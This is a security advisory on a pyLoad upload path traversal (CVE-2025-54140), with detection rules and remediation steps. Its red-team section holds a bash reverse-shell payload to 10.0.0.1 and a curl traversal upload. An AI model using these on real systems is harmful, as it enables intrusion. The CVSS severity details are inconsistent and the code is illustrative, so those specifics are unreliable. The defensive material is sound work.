CVE-2025-54140

Executive Summary

CVE-2025-54140 is a critical authenticated path traversal vulnerability in pyLoad, an open-source Download Manager written in Python. The flaw resides in the /json/upload endpoint, where an attacker with valid credentials can manipulate the filename parameter to write arbitrary files to any location on the filesystem accessible by the pyLoad process. This can lead to Remote Code Execution (RCE), privilege escalation, and system compromise. The vulnerability affects versions prior to 0.5.0b3.dev90. The CVSS score is 7.5 (High), and exploitation requires authentication but no user interaction. The EPSS score is 0.0%, indicating low current exploitation activity, but the risk remains significant due to the potential for full system takeover.

Supply Chain & Package Security

pyLoad is distributed as a Python package via PyPI. The vulnerable component is the core application itself, not a third-party dependency. However, the attack surface includes the Python runtime and any libraries used for file handling. Organizations using pyLoad should verify they are not running an affected version and ensure the application is isolated from critical system files.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – Valid user credentials are needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerable component and the affected resource are in the same security authority.
• Confidentiality (C): None (N) – The vulnerability does not directly leak data.
• Integrity (I): High (H) – Arbitrary file write can modify system files.
• Availability (A): High (H) – Overwriting critical files can cause denial of service.

Threat Level: High. The ability to write arbitrary files with the privileges of the pyLoad process can lead to complete system compromise.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (CWE-22) in the /json/upload endpoint. The application accepts a filename parameter in the multipart upload request. Without proper sanitization, an attacker can include path traversal sequences (e.g., ../) to escape the intended upload directory.

Attack Flow:

1. The attacker authenticates to the pyLoad web interface.
2. They craft a multipart POST request to /json/upload with a filename parameter containing traversal sequences, e.g., ../../../../tmp/evil.py.
3. The server writes the uploaded file content to the traversed path.
4. If the attacker writes a Python script to a directory that is executed by the server (e.g., a plugin directory), they can achieve RCE.

Root Cause: The application does not validate or sanitize the filename parameter before using it in file write operations. The fix in version 0.5.0b3.dev90 likely implements a check to ensure the filename does not contain ../ or similar sequences.

Vulnerable vs. Patched Code

Vulnerable Code (simplified):

@app.route('/json/upload', methods=['POST'])
def upload():
    file = request.files['file']
    filename = request.form.get('filename', file.filename)
    # No sanitization
    file.save(os.path.join('/var/pyload/uploads', filename))
    return 'OK'

Patched Code (simplified):

import os
import re

@app.route('/json/upload', methods=['POST'])
def upload():
    file = request.files['file']
    filename = request.form.get('filename', file.filename)
    # Sanitize: remove path traversal sequences
    sanitized = re.sub(r'\.\./', '', filename)
    sanitized = os.path.basename(sanitized)  # Keep only the filename
    file.save(os.path.join('/var/pyload/uploads', sanitized))
    return 'OK'

The patched version uses os.path.basename() to strip directory components and removes traversal sequences.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of pyLoad version 0.5.0b3.dev89 or earlier.
• Valid credentials (e.g., admin:admin).

Exploit Steps:

1. Authenticate to pyLoad and obtain a session cookie.
2. Craft a malicious file (e.g., a Python script that executes a reverse shell).
3. Send a POST request to /json/upload with the traversal filename.

Example using curl:

# Create a malicious Python file
echo 'import os; os.system("bash -i >& /dev/tcp/10.0.0.1/4444 0>&1")' > evil.py

# Upload with path traversal
curl -X POST -b "session=YOUR_SESSION_COOKIE" \
  -F "file=@evil.py" \
  -F "filename=../../../../tmp/evil.py" \
  http://target:8000/json/upload

Post-Exploitation:

• If the attacker can write to a directory that is executed by the server (e.g., plugins/), they can trigger RCE.
• Alternatively, overwrite a configuration file to gain persistence.

Blue Team

Detection:

• Monitor for unusual file uploads with path traversal patterns in the filename parameter.
• Alert on file writes outside the expected upload directory.
• Use file integrity monitoring (FIM) to detect unauthorized changes.

Hunting:

• Search logs for requests to /json/upload with filename containing ../ or ..\\.
• Check for new files in sensitive directories (e.g., /tmp, /etc, /var/www).

Lab Setup:

# Deploy vulnerable pyLoad using Docker
docker run -d -p 8000:8000 --name pyload_vuln pyload/pyload:0.5.0b3.dev89

# Access the web interface at http://localhost:8000
# Default credentials: admin / admin

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /json/upload with filename containing ../ or ..\\.
  • Unusual outbound connections from the pyLoad server (e.g., reverse shells).
• File System:
  • Unexpected files in /tmp, /etc, or other sensitive directories.
  • Modified configuration files (e.g., pyload.conf).
• Process:
  • Unusual child processes spawned by the pyLoad process (e.g., bash, nc).
• Logs:
  • pyLoad access logs showing path traversal attempts.
  • System logs indicating file writes to unexpected locations.

Detection Engineering

YARA Rule

rule CVE_2025_54140_PathTraversal {
    meta:
        description = "Detects path traversal attempts in pyLoad upload requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-54140"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e%5c"
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-54140 - pyLoad Path Traversal Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts in pyLoad /json/upload endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: pyload
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/json/upload*'
        cs-uri-query|contains: 
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e%5c'
    condition: selection
falsepositives:
    - Legitimate use of dots in filenames (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-54140 - pyLoad Path Traversal Upload"; flow:to_server,established; content:"POST"; http_method; content:"/json/upload"; http_uri; content:"filename"; http_client_body; pcre:"/filename=[^&]*(\.\.\/|\.\.\\)/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade pyLoad to version 0.5.0b3.dev90 or later.
2. If upgrade is not possible, restrict access to the /json/upload endpoint using a web application firewall (WAF) or reverse proxy.
3. Implement input validation on the filename parameter to reject path traversal sequences.

Long-Term Measures:

• Apply the principle of least privilege to the pyLoad process.
• Use file integrity monitoring (FIM) to detect unauthorized file writes.
• Regularly audit and update all dependencies.

Workaround:

• Disable the upload functionality if not required.
• Use a reverse proxy (e.g., Nginx) to block requests with ../ in the filename parameter.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert